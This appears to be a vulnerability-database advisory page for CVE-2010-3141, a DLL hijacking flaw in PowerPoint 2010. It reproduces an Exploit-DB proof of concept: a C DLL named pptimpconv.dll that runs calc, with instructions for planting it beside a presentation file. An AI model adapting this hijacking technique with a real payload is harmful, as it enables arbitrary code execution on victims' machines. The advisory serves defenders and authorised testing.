CVE-2010-3141

critical

Published 2010-08-27 · Modified 2026-04-29

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CVSS v3

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CVSS v4 NEW

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not yet in upstream

VIR risk

10.0

Description

Untrusted search path vulnerability in Microsoft PowerPoint 2010 allows local users, and possibly remote attackers, to execute arbitrary code and conduct DLL hijacking attacks via a Trojan horse pptimpconv.dll that is located in the same folder as a .odp, .pot, .potm, .potx, .ppa, .pps, .ppsm, .ppsx, .ppt, .pptm, .pptx, .pwz, .sldm, or .sldx file.

Predictions

Exploit likelihood

20%

Patch ETA

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Heuristic predictions, AS-IS, for prioritization only.

Mitigations

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Exploits

Public proof-of-concept code below. AS-IS, for defenders and authorised testing only.

Exploit-DB

EDB-14782 local windows

storm · 2010-08-25

Microsoft PowerPoint 2007 - 'rpawinet.dll' DLL Hijacking

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EDB-14723 local windows text · 1 KB

TheLeader · 2010-08-24

Microsoft PowerPoint 2010 - 'pptimpconv.dll' DLL Hijacking

text exploit Source: Exploit-DB

/*
Exploit Title: Microsoft PowerPoint 2010 DLL Hijacking Exploit (pptimpconv.dll)
Date: 24/08/2010
Author: TheLeader
Email: gsog2009 [a7] hotmail [d0t] com
Software Link: http://office.microsoft.com/en-us/powerpoint/
Version: 14.0.4760.1000
Tested on: Windows 7 x86 (6.1.7600)

Compile and rename to pptimpconv.dll, create a file in the same dir with one of the following extensions:
.odp / .pot / .potm / .potx / .ppa / .pps / .ppsm / .ppsx / .ppt / .pptm / .pptx / .pwz / .sldm / .sldx

This exploit does _not_ get triggered with the following file extensions:
.pothtml / .ppam / .ppthtml / .pptxml / .thmx

Double click & watch a nice calculator pop =]
*More shouts* to all the great guys at forums.hacking.org.il
*/

#include <windows.h>
#define DLLIMPORT __declspec (dllexport)

DLLIMPORT void HrCreateConverter() { evil(); }

int evil()
{
  WinExec("calc", 0);
  exit(0);
  return 0;
}

Application impact

Vendor	Product	Versions	Fixed
microsoft	powerpoint	`2010`

References

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